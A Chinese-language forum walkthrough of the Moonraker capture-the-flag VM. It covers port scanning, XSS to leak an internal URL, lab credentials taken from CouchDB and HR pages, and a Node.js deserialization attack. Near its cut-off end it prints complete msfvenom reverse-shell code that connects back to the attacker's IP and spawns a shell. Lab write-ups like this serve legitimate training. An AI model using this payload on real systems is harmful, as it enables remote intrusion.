taibeihacker
Moderator
0x01 前言
攻擊Moonraker系統並且找出存在最大的威脅漏洞,通過最大威脅漏洞攻擊目標靶機系統並進行提權獲取系統中root目錄下的flag信息。Moonraker: 1鏡像下載地址:
Moonraker.ova


發現192.168.1.10是目標靶機系統
2.端口扫描namp掃描目標靶機端口
root@kali2018:~# nmap -p - -A 192.168.1.10 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-11 16:21 EST
Nmap scan report for 192.168.1.10
Host is up (0.00077s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open sshOpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
| 2048 5f:bf:c0:33:51:4f:4a:a7:4a:7e:15:80:aa:d7:2a:0b (RSA)
| 256 53:59:87:1e:a4:46:bd:a7:fd:9a:5f:f9:b7:40:9d:2f (ECDSA)
|_ 256 0d:88:d9:fa:af:08:ce:2b:13:66:a7:70:ec:49:02:10 (ED25519)
80/tcp open httpApache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: MOONRAKER
3000/tcp open httpNode.js Express framework
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=401
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
4369/tcp open epmdErlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ couchdb: 33681
5984/tcp open couchdb?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Object Not Found
| Cache-Control: must-revalidate
| Connection: close
| Content-Length: 58
| Content-Type: application/json
| Date: Mon, 11 Feb 2019 21:22:55 GMT
| Server: CouchDB/2.2.0 (Erlang OTP/19)
| X-Couch-Request-ID: bf092a958f
| X-CouchDB-Body-Time: 0
| {'error':'not_found','reason':'Database does not exist.'}
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: must-revalidate
| Connection: close
| Content-Length: 164
| Content-Type: application/json
| Date: Mon, 11 Feb 2019 21:22:02 GMT
| Server: CouchDB/2.2.0 (Erlang OTP/19)
| X-Couch-Request-ID: f038a56575
| X-CouchDB-Body-Time: 0
|{'couchdb':'Welcome','version':'2.2.0','git_sha':'2a16ec4','features':['pluggable-storage-engines','scheduler'],'vendor':{'name':'The Apache Software Foundation'}}
| HTTPOptions:
| HTTP/1.0 500 Internal Server Error
| Cache-Control: must-revalidate
| Connection: close
| Content-Length: 61
| Content-Type: application/json
| Date: Mon, 11 Feb 2019 21:22:02 GMT
| Server: CouchDB/2.2.0 (Erlang OTP/19)
| X-Couch-Request-ID: fdeb1a3860
| X-Couch-Stack-Hash: 1828508689
| X-CouchDB-Body-Time: 0
|_{'error':'unknown_error','reason':'badarg','ref':1828508689}

NMAP掃描輸出顯示開放端口服務:22(ssh),80(http),110(pop3),3000(node.js),4369(epmd),5984(couchdb)
3.目录扫描我比較喜歡gobuster和DirBuster來進行目錄掃描,這裡我用gobuster進行目標目錄掃描。
在掃描完成後,發現一個可疑的目錄為/services

打開該目錄的鏈接地址http://192.168.1.10/services/,可以在網頁底部看到SEND AN INIRIRY的超級鏈接,然後打開超鏈接。

打開鏈接後顯示了一個售後聯繫信息頁面。注意到有人會查詢我們提交的信息,並會在5分鐘內與我們聯繫。

這裡我們使用img標籤嵌套了我的遠程服務網站地址。 (只要對方訪問了該嵌套xss,遠端服務器的日誌就會被記錄訪問請求日誌記錄)

apache启动在提交信息前,啟動apache服務,並在/var/www/html目錄下新建一個測試文件test.txt,內容隨便寫一個。
root@kali2018:~# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@kali2018:~# cd /var/www
root@kali2018:/var/www# ls
html
root@kali2018:/var/www# cd html/
root@kali2018:/var/www/html# ls
index.html index.nginx-debian.html
root@kali2018:/var/www/html# vi test.txt
root@kali2018:/var/www/html#
測試apache服務器能正常訪問

隨後可以通過apache2 access.log可以查看到訪問目標靶機網站日誌記錄。點擊提交後,它已顯示感謝您的提交消息,如下圖所示。

通過命令查看apache訪問日誌
tail -f /var/log/apache2/access.log
可以發現日誌中有一個有趣的http refefer地址:http://192.168.1.10/svc-inq/salesmoon-gui.php

0x03 漏洞利用1.CouchDB信息收集我們在瀏覽器中打開http refefer請求地址

然後顯示出'返回銷售管理後台'的超鏈接,點擊可進入到銷售後台管理登錄頁面。

接下來我們點擊CouchDBNotes並得到一些關於用戶名的密碼的提示:
用戶名:jaws,密碼:jaws女友名字+ x99

在這裡,我們谷歌搜索Jaws' girlfriend

已獲取到Fauxton系統中Apache CouchDB的用戶名和密碼。要了解有關Fauxton和CouchDB的更多信息,我們可以通過googel搜索它們的使用方法(http://docs.couchdb.org/en/stable/fauxton/install.html).

2.CouchDB登录及信息泄露由於端口5984是開放的。可以打開CouchDB登錄頁面(192.168.1.10:5984/_utils/).
這裡我們使用了Login Credentials,如下所示:
Username:jaws
Password:dollyx99


已成功登錄,現在讓我們查看這3個數據庫中的信息。
該links數據庫暴露出更多的信息




查看該鏈接數據庫中的文檔,因為每個文檔都包含目錄鏈接,但第三個目錄鏈接可能會為我們的下一步滲透提供有用的信息。


因此,我們打開第三個文檔的連接,並查看到有用的連接目錄信息。
所以上面的鏈接,在打開後顯示出一個人事辦公備忘記錄的信息(這裡記錄幾個人的重要郵件信息)

可以看到郵件中洩露了用戶名和密碼

3.Node.js反序列化這裡打開http://192.168.1.10/raker-sales/後台管理頁面,發現“hugo's page moved to port 3k”頁面是有趣的(結合上面人事備忘記錄頁面中的hugo郵件信息)

打開該鏈接後,可看到有關node.js服務器和訪問的信息

用戶名和密碼在Hugo的HR郵件中http://192.168.1.10/HR-Confidential/offer-letters.html

顯示出登錄node.js的用戶名和密碼(通過3000端口訪問)

登錄後,node.js服務器會發送“Set-Cookie”信息。

Node.js反序列化漏洞相關信息可以參考該鏈接地址。
4.反序化漏洞利用從NMAP Scan輸出,我們知道端口3000是Node.js框架應用。因此,我們在瀏覽器上打開目標IP的3000端口應用並彈出登錄用戶界面。
Username:hugo
Password:TempleLasersL2K

成功登錄後,我們會在頁面中顯示一條消息。這個頁面似乎毫無用處,但在花時間搞清楚下一步該做什麼後,它變得非常有趣。

啟動F12查看頁面的請求信息。在Cookie中看到了base64編碼信息。這裡我們將以base64編碼形式插入node.js反序列化漏洞。

使用msfvenom生成nodejs反彈shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.21 LPORT=1234
從終端輸出msfvenom到rce.js
rce.js:
var rev={
rce: function(){ var require=global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd=(global.process.platform.match(/^win/i)) ? 'cmd' : '/bin/sh'; var net=require('net'), cp=require('child_process'), util=require('util'), sh=cp.spawn(cmd, []); var client=this; var counter=0; function StagerRepeat(){ client.socket=net.connect(1234, '192.168.1.21', function() { client.socket.pipe(sh.stdin); if (typeof util.pump==='undefined') { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on('error', function(error) { counter++; if(counter=10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }
};
var serialize=require('node-serialize');
console.log(serialize.serialize(rev));
運行node rce.js以獲取序列化字符串輸出。
root@kali2018:/opt# node rce.js
{'rce':'_$$ND_FUNC$$_f